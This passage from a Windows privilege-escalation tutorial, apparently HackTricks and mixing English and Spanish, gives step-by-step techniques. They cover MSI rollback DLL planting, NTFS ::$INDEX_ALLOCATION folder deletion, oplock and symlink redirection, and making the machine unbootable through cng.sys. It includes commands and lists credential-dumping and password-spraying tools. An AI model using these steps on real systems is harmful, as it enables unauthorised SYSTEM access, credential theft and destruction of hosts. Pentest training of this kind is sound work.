  • Set weak DACLs (e.g., Everyone:F), and keep a handle open with WRITE_DAC.

  • Step 7: Run Another Install

  • Install the .msi again, with:

  • TARGETDIR: Writable location.

  • ERROROUT: A variable that triggers a forced failure.

  • This install will be used to trigger rollback again, which reads .rbs and .rbf.

  • Step 8: Monitor for .rbs

  • Use ReadDirectoryChangesW to monitor C:\Config.Msi until a new .rbs appears.

  • Capture its filename.

  • Step 9: Sync Before Rollback

  • The .msi contains a custom install action (SyncBeforeRollback) that:

  • Signals an event when the .rbs is created.

  • Then waits before continuing.

  • Step 10: Reapply Weak ACL

  • After receiving the .rbs created event:

  • The Windows Installer reapplies strong ACLs to C:\Config.Msi.

  • But since you still have a handle with WRITE_DAC, you can reapply weak ACLs again.

ACLs are only enforced on handle open, so you can still write to the folder.

  • Step 11: Drop Fake .rbs and .rbf

  • Overwrite the .rbs file with a fake rollback script that tells Windows to:

  • Restore your .rbf file (malicious DLL) into a privileged location (e.g., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Drop your fake .rbf containing a malicious SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Signal the sync event so the installer resumes.

  • A type 19 custom action (ErrorOut) is configured to intentionally fail the install at a known point.

  • This causes rollback to begin.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Reads your malicious .rbs.

  • Copies your .rbf DLL into the target location.

  • You now have your malicious DLL in a SYSTEM-loaded path.

  • Final Step: Execute SYSTEM Code

  • Run a trusted auto-elevated binary (e.g., osk.exe) that loads the DLL you hijacked.

  • Boom: Your code is executed as SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

The main MSI rollback technique (the previous one) assumes you can delete an entire folder (e.g., C:\Config.Msi). But what if your vulnerability only allows arbitrary file deletion ?

You could exploit NTFS internals: every folder has a hidden alternate data stream called:

C:\SomeFolder::$INDEX_ALLOCATION

Este flujo almacena los metadatos de índice de la carpeta.

Por lo tanto, si eliminas el flujo ::$INDEX_ALLOCATION de una carpeta, NTFS elimina toda la carpeta del sistema de archivos.

Puedes hacer esto usando las APIs estándar de eliminación de archivos como:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Aunque estés llamando a una API de delete de file, en realidad elimina la folder.

De Folder Contents Delete a SYSTEM EoP

¿Qué pasa si tu primitiva no te permite eliminar files/folders arbitrarios, pero sí permite la eliminación del contenido de una folder controlada por el atacante?

  1. Paso 1: Crea una bait folder y un file
  • Crea: C:\temp\folder1
  • Dentro de ella: C:\temp\folder1\file1.txt
  1. Paso 2: Coloca un oplock en file1.txt
  • El oplock pausa la ejecución cuando un proceso privilegiado intenta eliminar file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Paso 3: Activar el proceso SYSTEM (p. ej., SilentCleanup)
  • Este proceso escanea carpetas (p. ej., %TEMP%) e intenta eliminar su contenido.
  • Cuando llega a file1.txt, el oplock se dispara y cede el control a tu callback.
  1. Paso 4: Dentro del callback de la oplock – redirigir la eliminación

  • Opción A: Mover file1.txt a otro lugar

  • Esto vacía folder1 sin romper la oplock.

  • No elimines file1.txt directamente — eso liberaría la oplock prematuramente.

  • Opción B: Convertir folder1 en una junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opción C: Crear un symlink en \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Esto apunta al flujo interno de NTFS que almacena los metadatos de la carpeta — eliminarlo elimina la carpeta.

  1. Paso 5: Liberar el oplock
  • El proceso SYSTEM continúa y trata de eliminar file1.txt.
  • Pero ahora, debido al junction + symlink, en realidad está eliminando:
C:\Config.Msi::$INDEX_ALLOCATION

Resultado: C:\Config.Msi es eliminado por SYSTEM.

De Arbitrary Folder Create a DoS permanente

Exploit a primitive que te permite crear una carpeta arbitraria como SYSTEM/admin — incluso si no puedes escribir archivos o establecer permisos débiles.

Crea una carpeta (no un archivo) con el nombre de un controlador crítico de Windows, p. ej.:

C:\Windows\System32\cng.sys
  • Esta ruta normalmente corresponde al driver en modo kernel cng.sys.
  • Si lo creas previamente como carpeta, Windows no carga el driver real al arrancar.
  • Entonces, Windows intenta cargar cng.sys durante el arranque.
  • Detecta la carpeta, no logra resolver el driver real, y se bloquea o detiene el arranque.
  • No hay plan de contingencia, ni recuperación sin intervención externa (p. ej., reparación de arranque o acceso al disco).

Desde rutas privilegiadas de logs/backup + OM symlinks hasta arbitrary file overwrite / boot DoS

Cuando un servicio privilegiado escribe logs/exports a una ruta leída desde una config escribible, redirige esa ruta con Object Manager symlinks + NTFS mount points para convertir la escritura privilegiada en una arbitrary overwrite (incluso sin SeCreateSymbolicLinkPrivilege).

Requisitos

  • La config que almacena la ruta objetivo es escribible por el atacante (p. ej., %ProgramData%\...\.ini).
  • Capacidad para crear un mount point a \RPC Control y un OM file symlink (James Forshaw symboliclink-testing-tools).
  • Una operación privilegiada que escriba en esa ruta (log, export, report).

Ejemplo de cadena

  1. Leer la config para recuperar el destino del log privilegiado, p. ej. SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt en C:\ProgramData\ICONICS\IcoSetup64.ini.
  2. Redirigir la ruta sin admin:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
  1. Espera a que el componente privilegiado escriba el log (p. ej., el administrador activa “send test SMS”). La escritura ahora aterriza en C:\Windows\System32\cng.sys.
  2. Inspecciona el objetivo sobrescrito (hex/PE parser) para confirmar la corrupción; el reinicio fuerza a Windows a cargar la ruta del driver manipulada → boot loop DoS. Esto también se generaliza a cualquier archivo protegido que un servicio privilegiado vaya a abrir para escritura.

cng.sys normalmente se carga desde C:\Windows\System32\drivers\cng.sys, pero si existe una copia en C:\Windows\System32\cng.sys se puede intentar primero, convirtiéndolo en un sumidero DoS fiable para datos corruptos.

Desde High Integrity a SYSTEM

Nuevo servicio

Si ya estás ejecutando en un proceso High Integrity, la ruta a SYSTEM puede ser fácil simplemente creando y ejecutando un nuevo servicio:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Al crear un binario de servicio asegúrate de que sea un servicio válido o de que el binario realice las acciones necesarias rápidamente, ya que será terminado en 20s si no es un servicio válido.

AlwaysInstallElevated

From a High Integrity process you could try to enable the AlwaysInstallElevated registry entries and install a reverse shell using a .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

Puedes encontrar el código aquí.

From SeDebug + SeImpersonate to Full Token privileges

Si tienes esos privilegios de token (probablemente los encontrarás en un proceso ya High Integrity), podrás abrir casi cualquier proceso (no procesos protegidos) con el privilegio SeDebug, copiar el token del proceso y crear un proceso arbitrario con ese token.
El uso de esta técnica normalmente selecciona cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token (sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token).
Puedes encontrar un ejemplo de código que ejecuta la técnica propuesta aquí.

Named Pipes

Esta técnica es utilizada por meterpreter para escalar con getsystem. La técnica consiste en crear una pipe y luego crear/abusar de un servicio para escribir en esa pipe. Entonces, el server que creó la pipe usando el privilegio SeImpersonate podrá impersonar el token del cliente de la pipe (el servicio) obteniendo privilegios SYSTEM.
Si quieres aprender más sobre name pipes deberías leer esto.
Si quieres leer un ejemplo de cómo pasar de high integrity a System usando name pipes deberías leer esto.

Dll Hijacking

Si logras secuestrar una dll que sea cargada por un proceso que se ejecute como SYSTEM podrás ejecutar código arbitario con esos permisos. Por lo tanto, Dll Hijacking también es útil para este tipo de escalada de privilegios y, además, es mucho más fácil de lograr desde un proceso High Integrity ya que tendrá permisos de escritura en las carpetas usadas para cargar dlls.
Puedes aprender más sobre Dll hijacking aquí.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Comprueba misconfiguraciones y archivos sensibles (revisa aquí). Detectado.
JAWS – Comprueba posibles misconfiguraciones y recopila información (revisa aquí).
privesc – Comprueba misconfiguraciones
SessionGopher – Extrae información de sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Usa -Thorough en local.
Invoke-WCMDump – Extrae credenciales del Credential Manager. Detectado.
DomainPasswordSpray – Hace password spray con las contraseñas recopiladas en el dominio
Inveigh – Inveigh es una herramienta PowerShell para spoofing ADIDNS/LLMNR/mDNS y man-in-the-middle.
WindowsEnum – Enumeración básica para privesc en Windows
Sherlock ~~~~ – Busca vulnerabilidades conocidas para privesc (DEPRECATED en favor de Watson)
WINspect – Chequeos locales (Necesita permisos de Admin)

Exe

Watson – Busca vulnerabilidades conocidas para privesc (necesita compilarse con VisualStudio) (precompiled)
SeatBelt – Enumera el host buscando misconfiguraciones (más una herramienta de recolección que de privesc) (necesita compilarse) (precompiled)
LaZagne – Extrae credenciales de muchos softwares (exe precompilado en github)
SharpUP – Port de PowerUp a C#
Beroot ~~~~ – Comprueba misconfiguraciones (ejecutable precompilado en github). No recomendado. No funciona bien en Win10.
Windows-Privesc-Check – Comprueba posibles misconfiguraciones (exe desde python). No recomendado. No funciona bien en Win10.

Bat

winPEASbat – Herramienta creada basada en este post (no necesita accesschk para funcionar correctamente aunque puede usarlo).

Local

Windows-Exploit-Suggester – Lee la salida de systeminfo y recomienda exploits funcionales (python local)
Windows Exploit Suggester Next Generation – Lee la salida de systeminfo y recomienda exploits funcionales (python local)

Meterpreter

multi/recon/local_exploit_suggestor

Debes compilar el proyecto usando la versión correcta de .NET (ver esto). Para ver la versión de .NET instalada en el host víctima puedes hacer:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks